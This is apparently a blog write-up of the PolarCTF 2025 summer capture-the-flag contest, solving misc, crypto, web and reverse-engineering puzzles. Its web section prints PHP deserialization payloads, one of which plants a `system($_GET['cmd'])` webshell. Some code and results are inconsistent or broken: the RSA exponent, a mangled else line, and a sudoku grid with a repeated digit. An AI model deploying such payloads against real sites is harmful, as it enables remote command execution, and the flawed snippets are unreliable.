PolarCTF 2025夏季挑战赛 WP

ljnljn Lv6

第一部分:MISC

1-1 秘密的消息

本题思路如下:

对1.txt解密

![](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065750022-646585791.png)

第二关表情包是base100解密

![2025新的知识库/比赛wp/assets/677503c4fe71c697e21dd66c9a33d086_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637609-2014833896.gif)

图片里藏了压缩包,对图片进行提取

最后得到Z29vZCBsdWNr,base64解密之后得到good luck,再32位小写md5加密即可

![2025新的知识库/比赛wp/assets/ba4bb2630475c856add1d16fcc06cbca_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637627-1389779454.gif)

1-2 最爱的专辑

本题思路如下:

txt里有密钥“我爱火星哥”,wav猜测是deepsound隐写,提取出来一个压缩包

![2025新的知识库/比赛wp/assets/241ae65aae12969efe78b1d20e57552e_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637626-1004125898.gif)

然后短信消息,根据图片提示是九键密码

![2025新的知识库/比赛wp/assets/c3fddc9b76979dc22cb41ab708a64f56_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637668-1225830165.gif)

经过测试解压密码是Bruno Mars,解压后获得flag

![2025新的知识库/比赛wp/assets/4a03de2b8dd13d141a3a76271cedc2d4_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637643-126906742.gif)

1-5 狂热粉丝(1-5)

本题思路如下:

第一题

打开chat-master,查看readme看到项目名Tinode

![2025新的知识库/比赛wp/assets/e7a68b49a48fd6cac79f116d53b3d817_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637644-947398659.gif)

第二题

回收站里找到html文件,打开发现黑客发送的内容

![2025新的知识库/比赛wp/assets/9a878e422845ccffa80259cb0379b6b8_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637644-1108725949.gif)

第三题

项目源文件在文档/Program(可以用everything搜索文件名)

使用die进行分析,发现Nultka,这是Python项目打包工具,所以是python(该项目文件夹里的python文件也证明了这一点)![2025新的知识库/比赛wp/assets/c102a8ae47a3ca3b4e8de2fe188c0581_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637668-1622284024.gif)

第四题

看密码保存记录

![2025新的知识库/比赛wp/assets/5df3707bfaf1267cab53ac34b6e5aae6_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637597-1938533690.gif)

第五题

看main.py

![2025新的知识库/比赛wp/assets/de64dcc8e8944e097aabce68b99bdb37_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637626-958151201.gif)

这里都是把cmd.exe进行替换,因此是cmd.exe

1-8 无线密钥追击4.0

本题思路如下:

CTFNetA进行破解

![2025新的知识库/比赛wp/assets/ff69b515ff5019a384254863547d55db_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637609-692352569.gif)

第二部分:CRYPTO

2-1 长城守护计划的密码疑云

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p = 4643  
q = 8537
e = 6557355762357451357
c = 484927

# 计算 n 和 φ(n)
n = p * q
phi_n = (p - 1) * (q - 1)

# 计算 e_mod = e % φ(n)
e_mod = e % phi_n  # e_mod = 5

# 计算 d = e_mod^{-1} mod φ(n)
d = pow(e_mod, -1, phi_n)  # d = 7924823

# 解密密文 c 得到明文 m
m = pow(c, d, n)

print("私钥指数 d =", d)
print("解密后的明文 m =", m)

私钥指数 d = 18807893

解密后的明文 m = 22192076

d和m连在一起,加md5即可

2-2 云影

本题思路如下:
搜索是云影密码
解密

1
2
3
4
5
6
7
8
9
10
a = "5212081052120120885309853"  
a = a.split("0")
flag = ''
for i in range(0, len(a)):
    str = a[i]
    sum = 0
    for i in str:
        sum += int(i)
    flag += chr(sum + 64)
print (flag)

转32位小写md5后获得答案  

2-3 unusually

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import long_to_bytes  

# 已知值m_prev = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932833721
m_next = 671127523074690136116845074920717644143288626158531024402033639752688890215412609007519932834183
n = 1526026852743317872689519585937541940924797496649603692424635450129074124078179120067618023675593573
c = 367076481576650817908149902851774134294227770558143290079121674007696527322639764861520184786487
e = 65535

# 遍历区间 [m_prev+1, m_next-1]
for m_candidate in range(m_prev + 1, m_next):
    # 检查条件:n^e mod m_candidate == c
    if pow(n, e, m_candidate) == c:
        print("Found m:", m_candidate)
        flag = long_to_bytes(m_candidate)
        print("Flag:", flag)
        break
else# 如果循环结束未找到    print("No valid m found in the interval")

![2025新的知识库/比赛wp/assets/26ce7438f2a43b4c537bc87edaaf49a4_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637643-563786216.gif)

第三部分:WEB

3-5 简单的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class A {

    public $cmd = 'cat /flag';

}

$obj = new A();

echo urlencode(serialize($obj));

?>

完成后GET:data获得flag

3-8 nukaka_ser2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class FlagReader {

    private $logfile = "/tmp/log.txt";

    protected $content = "<?php system(\$_GET['cmd']); ?>";

}

class VulnerableClass {

    public $logger;

    private $debugMode;

    public function __construct() {

        $this->debugMode = true;

        $this->logger = new FlagReader();

    }

}

$obj = new VulnerableClass();

echo base64_encode(serialize($obj));

?>

运行后传值即可

第四部分:REVERSE

4-1 re数独

本题思路如下:

数独存放位置在这里

![2025新的知识库/比赛wp/assets/26feb8fc140a93d21e4a97b2b5e2f0c1_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637660-242330127.gif)

这一段每四个字节对应一个数

![2025新的知识库/比赛wp/assets/3a13abe0fac03922c5686e85eb33a2fd_MD5.gif](/assets/cnblogs/PolarCTF 2025夏季挑战赛 WP/3539156-20250608065637667-478516511.gif)

得出数独

原来的:

5 3 0 | 0 7 0 | 0 0 0

0 0 0 | 1 9 5 | 0 0 0

0 0 0 | 0 0 0 | 0 6 0

——+——-+——

8 0 6 | 0 0 0 | 0 0 3

4 0 0 | 8 0 3 | 0 0 1

7 0 0 | 0 2 0 | 0 0 6

——+——-+——

0 6 0 | 0 0 0 | 2 8 0

0 0 0 | 4 1 9 | 0 0 5

0 0 0 | 0 8 0 | 0 7 9

解决后:

5 3 4 | 6 7 2 | 9 1 8

6 8 7 | 1 9 5 | 3 4 2

1 9 2 | 3 4 8 | 5 6 7

——+——-+——

8 2 6 | 5 1 4 | 7 9 3

4 5 9 | 8 6 3 | 2 7 1

7 1 3 | 9 2 4 | 8 5 6

——+——-+——

9 6 1 | 7 3 5 | 2 8 4

2 7 8 | 4 1 9 | 6 3 5

3 4 5 | 2 8 6 | 1 7 9

最后一行md5加密即可获得flag
  • 标题: PolarCTF 2025夏季挑战赛 WP
  • 作者: ljnljn
  • 创建于 : 2025-06-08 06:57:00
  • 更新于 : 2026-05-25 22:04:46
  • 链接: https://ljnljn2005.github.io/2025/06/07/PolarCTF 2025夏季挑战赛 WP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。